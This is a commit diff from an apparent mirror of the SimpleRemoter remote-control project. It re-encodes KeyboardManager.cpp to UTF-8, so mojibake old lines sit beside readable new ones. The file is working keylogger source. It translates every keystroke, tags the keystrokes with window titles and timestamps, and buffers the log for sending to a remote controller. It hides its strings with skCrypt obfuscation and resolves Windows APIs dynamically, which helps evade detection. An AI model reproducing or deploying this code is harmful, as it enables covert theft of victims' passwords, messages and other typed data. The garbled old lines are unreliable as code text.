mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-22 07:14:15 +08:00
style: Change files encoding format to UTF8-BOM
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
// KeyboardManager.cpp: implementation of the CKeyboardManager class.
|
||||
// KeyboardManager.cpp: implementation of the CKeyboardManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
@@ -141,14 +141,14 @@ int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize)
|
||||
return nRet;
|
||||
}
|
||||
|
||||
std::string GetKey(int Key) // <EFBFBD>жϼ<EFBFBD><EFBFBD>̰<EFBFBD><EFBFBD><EFBFBD>ʲô<EFBFBD><EFBFBD>
|
||||
std::string GetKey(int Key) // 判断键盘按下什么键
|
||||
{
|
||||
GET_PROCESS(DLLS[USER32], GetKeyState);
|
||||
std::string KeyString = "";
|
||||
//<EFBFBD>жϷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
const int KeyPressMask=0x80000000; //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>볣<EFBFBD><EFBFBD>
|
||||
int iShift=GetKeyState(0x10); //<EFBFBD>ж<EFBFBD>Shift<EFBFBD><EFBFBD>״̬
|
||||
bool IS=(iShift & KeyPressMask)==KeyPressMask; //<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Shift<EFBFBD><EFBFBD>
|
||||
//判断符号输入
|
||||
const int KeyPressMask=0x80000000; //键盘掩码常量
|
||||
int iShift=GetKeyState(0x10); //判断Shift键状态
|
||||
bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键
|
||||
if(Key >=186 && Key <=222) {
|
||||
switch(Key) {
|
||||
case 186:
|
||||
@@ -219,10 +219,10 @@ std::string GetKey(int Key) //
|
||||
break;
|
||||
}
|
||||
}
|
||||
//<EFBFBD>жϼ<EFBFBD><EFBFBD>̵ĵ<EFBFBD>һ<EFBFBD><EFBFBD>
|
||||
if (Key == VK_ESCAPE) // <EFBFBD>˳<EFBFBD>
|
||||
//判断键盘的第一行
|
||||
if (Key == VK_ESCAPE) // 退出
|
||||
KeyString = skCrypt("[Esc]");
|
||||
else if (Key == VK_F1) // F1<EFBFBD><EFBFBD>F12
|
||||
else if (Key == VK_F1) // F1至F12
|
||||
KeyString = skCrypt("[F1]");
|
||||
else if (Key == VK_F2)
|
||||
KeyString = skCrypt("[F2]");
|
||||
@@ -246,61 +246,61 @@ std::string GetKey(int Key) //
|
||||
KeyString = skCrypt("[F11]");
|
||||
else if (Key == VK_F12)
|
||||
KeyString = skCrypt("[F12]");
|
||||
else if (Key == VK_SNAPSHOT) // <EFBFBD><EFBFBD>ӡ<EFBFBD><EFBFBD>Ļ
|
||||
else if (Key == VK_SNAPSHOT) // 打印屏幕
|
||||
KeyString = skCrypt("[PrScrn]");
|
||||
else if (Key == VK_SCROLL) // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
else if (Key == VK_SCROLL) // 滚动锁定
|
||||
KeyString = skCrypt("[Scroll Lock]");
|
||||
else if (Key == VK_PAUSE) // <EFBFBD><EFBFBD>ͣ<EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>
|
||||
else if (Key == VK_PAUSE) // 暂停、中断
|
||||
KeyString = skCrypt("[Pause]");
|
||||
else if (Key == VK_CAPITAL) // <EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
else if (Key == VK_CAPITAL) // 大写锁定
|
||||
KeyString = skCrypt("[Caps Lock]");
|
||||
|
||||
//-------------------------------------//
|
||||
//<EFBFBD><EFBFBD><EFBFBD>Ƽ<EFBFBD>
|
||||
else if (Key == 8) //<- <EFBFBD>ظ<EFBFBD><EFBFBD><EFBFBD>
|
||||
//控制键
|
||||
else if (Key == 8) //<- 回格键
|
||||
KeyString = skCrypt("[Backspace]");
|
||||
else if (Key == VK_RETURN) // <EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
else if (Key == VK_RETURN) // 回车键、换行
|
||||
KeyString = skCrypt("[Enter]\n");
|
||||
else if (Key == VK_SPACE) // <EFBFBD>ո<EFBFBD>
|
||||
else if (Key == VK_SPACE) // 空格
|
||||
KeyString = skCrypt(" ");
|
||||
//<EFBFBD>ϵ<EFBFBD><EFBFBD><EFBFBD>:<3A><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʱ<EFBFBD><EFBFBD><F2A3ACBF>Բ<EFBFBD><D4B2><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Shift<66>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κ<EFBFBD><CEBA>ַ<EFBFBD><D6B7><EFBFBD>
|
||||
//<EFBFBD>ϵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͱ<EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
//上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
|
||||
//上档键和别的键组合,输出时有字符输出
|
||||
/*
|
||||
else if (Key == VK_LSHIFT) // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><EFBFBD><EFBFBD>
|
||||
else if (Key == VK_LSHIFT) // 左侧上档键
|
||||
KeyString = skCrypt("[Shift]");
|
||||
else if (Key == VK_LSHIFT) // <EFBFBD>Ҳ<EFBFBD><EFBFBD>ϵ<EFBFBD><EFBFBD><EFBFBD>
|
||||
else if (Key == VK_LSHIFT) // 右侧上档键
|
||||
KeyString = skCrypt("[SHIFT]");
|
||||
*/
|
||||
/*<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD>ǶԼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><EFBFBD><EFBFBD>м<EFBFBD>¼:<3A><><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>*/
|
||||
else if (Key == VK_TAB) // <EFBFBD>Ʊ<EFBFBD><EFBFBD><EFBFBD>
|
||||
/*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
|
||||
else if (Key == VK_TAB) // 制表键
|
||||
KeyString = skCrypt("[Tab]");
|
||||
else if (Key == VK_LCONTROL) // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƽ<EFBFBD>
|
||||
else if (Key == VK_LCONTROL) // 左控制键
|
||||
KeyString = skCrypt("[Ctrl]");
|
||||
else if (Key == VK_RCONTROL) // <EFBFBD>ҿ<EFBFBD><EFBFBD>Ƽ<EFBFBD>
|
||||
else if (Key == VK_RCONTROL) // 右控制键
|
||||
KeyString = skCrypt("[CTRL]");
|
||||
else if (Key == VK_LMENU) // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
else if (Key == VK_LMENU) // 左换档键
|
||||
KeyString = skCrypt("[Alt]");
|
||||
else if (Key == VK_LMENU) // <EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
else if (Key == VK_LMENU) // 右换档键
|
||||
KeyString = skCrypt("[ALT]");
|
||||
else if (Key == VK_LWIN) // <EFBFBD><EFBFBD> WINDOWS <EFBFBD><EFBFBD>
|
||||
else if (Key == VK_LWIN) // 右 WINDOWS 键
|
||||
KeyString = skCrypt("[Win]");
|
||||
else if (Key == VK_RWIN) // <EFBFBD><EFBFBD> WINDOWS <EFBFBD><EFBFBD>
|
||||
else if (Key == VK_RWIN) // 右 WINDOWS 键
|
||||
KeyString = skCrypt("[WIN]");
|
||||
else if (Key == VK_APPS) // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>Ҽ<EFBFBD>
|
||||
KeyString = skCrypt("<EFBFBD>Ҽ<EFBFBD>");
|
||||
else if (Key == VK_INSERT) // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
else if (Key == VK_APPS) // 键盘上 右键
|
||||
KeyString = skCrypt("右键");
|
||||
else if (Key == VK_INSERT) // 插入
|
||||
KeyString = skCrypt("[Insert]");
|
||||
else if (Key == VK_DELETE) // ɾ<EFBFBD><EFBFBD>
|
||||
else if (Key == VK_DELETE) // 删除
|
||||
KeyString = skCrypt("[Delete]");
|
||||
else if (Key == VK_HOME) // <EFBFBD><EFBFBD>ʼ
|
||||
else if (Key == VK_HOME) // 起始
|
||||
KeyString = skCrypt("[Home]");
|
||||
else if (Key == VK_END) // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
else if (Key == VK_END) // 结束
|
||||
KeyString = skCrypt("[End]");
|
||||
else if (Key == VK_PRIOR) // <EFBFBD><EFBFBD>һҳ
|
||||
else if (Key == VK_PRIOR) // 上一页
|
||||
KeyString = skCrypt("[PgUp]");
|
||||
else if (Key == VK_NEXT) // <EFBFBD><EFBFBD>һҳ
|
||||
else if (Key == VK_NEXT) // 下一页
|
||||
KeyString = skCrypt("[PgDown]");
|
||||
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>
|
||||
// 不常用的几个键:一般键盘没有
|
||||
else if (Key == VK_CANCEL) // Cancel
|
||||
KeyString = skCrypt("[Cancel]");
|
||||
else if (Key == VK_CLEAR) // Clear
|
||||
@@ -313,17 +313,17 @@ std::string GetKey(int Key) //
|
||||
KeyString = skCrypt("[Execute]");
|
||||
|
||||
//----------------------------------------//
|
||||
else if (Key == VK_LEFT) //<EFBFBD>ϡ<EFBFBD><EFBFBD>¡<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD>
|
||||
KeyString = skCrypt("[<EFBFBD><EFBFBD>]");
|
||||
else if (Key == VK_LEFT) //上、下、左、右键
|
||||
KeyString = skCrypt("[←]");
|
||||
else if (Key == VK_RIGHT)
|
||||
KeyString = skCrypt("[<EFBFBD><EFBFBD>]");
|
||||
KeyString = skCrypt("[→]");
|
||||
else if (Key == VK_UP)
|
||||
KeyString = skCrypt("[<EFBFBD><EFBFBD>]");
|
||||
KeyString = skCrypt("[↑]");
|
||||
else if (Key == VK_DOWN)
|
||||
KeyString = skCrypt("[<EFBFBD><EFBFBD>]");
|
||||
else if (Key == VK_NUMLOCK)//С<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
KeyString = skCrypt("[↓]");
|
||||
else if (Key == VK_NUMLOCK)//小键盘数码锁定
|
||||
KeyString = skCrypt("[NumLock]");
|
||||
else if (Key == VK_ADD) // <EFBFBD>ӡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD><EFBFBD><EFBFBD>
|
||||
else if (Key == VK_ADD) // 加、减、乘、除
|
||||
KeyString = skCrypt("+");
|
||||
else if (Key == VK_SUBTRACT)
|
||||
KeyString = skCrypt("-");
|
||||
@@ -331,9 +331,9 @@ std::string GetKey(int Key) //
|
||||
KeyString = skCrypt("*");
|
||||
else if (Key == VK_DIVIDE)
|
||||
KeyString = skCrypt("/");
|
||||
else if (Key == 190 || Key == 110) // С<EFBFBD><EFBFBD><EFBFBD><EFBFBD> . <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> .
|
||||
else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .
|
||||
KeyString = skCrypt(".");
|
||||
//С<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ּ<EFBFBD>:0-9
|
||||
//小键盘数字键:0-9
|
||||
else if (Key == VK_NUMPAD0)
|
||||
KeyString = skCrypt("0");
|
||||
else if (Key == VK_NUMPAD1)
|
||||
@@ -357,20 +357,20 @@ std::string GetKey(int Key) //
|
||||
//-------------------------------------------//
|
||||
|
||||
//-------------------------------------------//
|
||||
//*<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD>Ĵ<EFBFBD>Сд<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>*//
|
||||
else if (Key >=97 && Key <= 122) { // <EFBFBD><EFBFBD>ĸ:a-z
|
||||
if (GetKeyState(VK_CAPITAL)) { // <EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if(IS) //Shift<EFBFBD><EFBFBD><EFBFBD><EFBFBD>:ΪСд<D0A1><D0B4>ĸ
|
||||
//*对字母的大小写进行判断*//
|
||||
else if (Key >=97 && Key <= 122) { // 字母:a-z
|
||||
if (GetKeyState(VK_CAPITAL)) { // 大写锁定
|
||||
if(IS) //Shift按下:为小写字母
|
||||
KeyString = Key;
|
||||
else // ֻ<EFBFBD>д<EFBFBD>д<EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4>ĸ
|
||||
else // 只有大写锁定:输出大写字母
|
||||
KeyString = Key - 32;
|
||||
} else { // <EFBFBD><EFBFBD>дû<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if(IS) // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>Shift<EFBFBD><EFBFBD>: <20><>д<EFBFBD><D0B4>ĸ
|
||||
} else { // 大写没有锁定
|
||||
if(IS) // 按下Shift键: 大写字母
|
||||
KeyString = Key - 32;
|
||||
else // û<EFBFBD>а<EFBFBD>Shift<EFBFBD><EFBFBD>: Сд<D0A1><D0B4>ĸ
|
||||
else // 没有按Shift键: 小写字母
|
||||
KeyString = Key;
|
||||
}
|
||||
} else if (Key >=48 && Key <= 57) { // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:0-9<><39><EFBFBD>Ϸ<EFBFBD><CFB7>ķ<EFBFBD><C4B7><EFBFBD>
|
||||
} else if (Key >=48 && Key <= 57) { // 键盘数字:0-9及上方的符号
|
||||
if(IS) {
|
||||
switch(Key) {
|
||||
case 48: //0
|
||||
@@ -408,13 +408,13 @@ std::string GetKey(int Key) //
|
||||
KeyString = Key;
|
||||
}
|
||||
if (Key != VK_LBUTTON || Key != VK_RBUTTON) {
|
||||
if (Key >=65 && Key <=90) { //ASCII 65-90 ΪA-Z
|
||||
if (GetKeyState(VK_CAPITAL)) { // <EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>A-Z
|
||||
if(IS) // <EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ұ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>ΪСд<D0A1><D0B4>ĸ
|
||||
if (Key >=65 && Key <=90) { //ASCII 65-90 为A-Z
|
||||
if (GetKeyState(VK_CAPITAL)) { // 大写锁定:输出A-Z
|
||||
if(IS) // 大写锁定,并且按下上档键:输出为小写字母
|
||||
KeyString = Key + 32;
|
||||
else //ֻ<EFBFBD>д<EFBFBD>д<EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>д<EFBFBD><D0B4>ĸ
|
||||
else //只有大写锁定:输出为大写字母
|
||||
KeyString = Key;
|
||||
} else { // <EFBFBD><EFBFBD>дû<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:a-z
|
||||
} else { // 大写没有锁定:a-z
|
||||
if(IS) {
|
||||
KeyString = Key;
|
||||
} else {
|
||||
@@ -438,7 +438,7 @@ BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowC
|
||||
if (hasData) {
|
||||
SYSTEMTIME s;
|
||||
GetLocalTime(&s);
|
||||
sprintf(szText, _T("\r\n[<EFBFBD><EFBFBD><EFBFBD><EFBFBD>:] %s\r\n[ʱ<EFBFBD><EFBFBD>:]%d-%02d-%02d %02d:%02d:%02d\r\n"),
|
||||
sprintf(szText, _T("\r\n[标题:] %s\r\n[时间:]%d-%02d-%02d %02d:%02d:%02d\r\n"),
|
||||
WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond);
|
||||
}
|
||||
memset(WindowCaption, 0, CAPTION_SIZE);
|
||||
@@ -593,16 +593,16 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
int num = lstrlen(KeyBuffer);
|
||||
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
||||
bool newWindowInput = strlen(szText);
|
||||
if (newWindowInput) { // <EFBFBD><EFBFBD><EFBFBD>µĴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>м<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (newWindowInput) { // 在新的窗口有键盘输入
|
||||
lstrcat(KeyBuffer, szText);
|
||||
memset(szText, 0, sizeof(szText));
|
||||
}
|
||||
if (lstrlen(KeyBuffer) > 0) {
|
||||
if (!newWindowInput)
|
||||
lstrcat(KeyBuffer, _T("\r\n"));
|
||||
const int offset = sizeof(_T("\r\n[<EFBFBD><EFBFBD><EFBFBD><EFBFBD>:]")) - 1;
|
||||
const int offset = sizeof(_T("\r\n[内容:]")) - 1;
|
||||
memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer));
|
||||
memcpy(KeyBuffer, _T("\r\n[<EFBFBD><EFBFBD><EFBFBD><EFBFBD>:]"), offset);
|
||||
memcpy(KeyBuffer, _T("\r\n[内容:]"), offset);
|
||||
pThis->m_Buffer->Write(KeyBuffer, strlen(KeyBuffer));
|
||||
memset(KeyBuffer,0,sizeof(KeyBuffer));
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user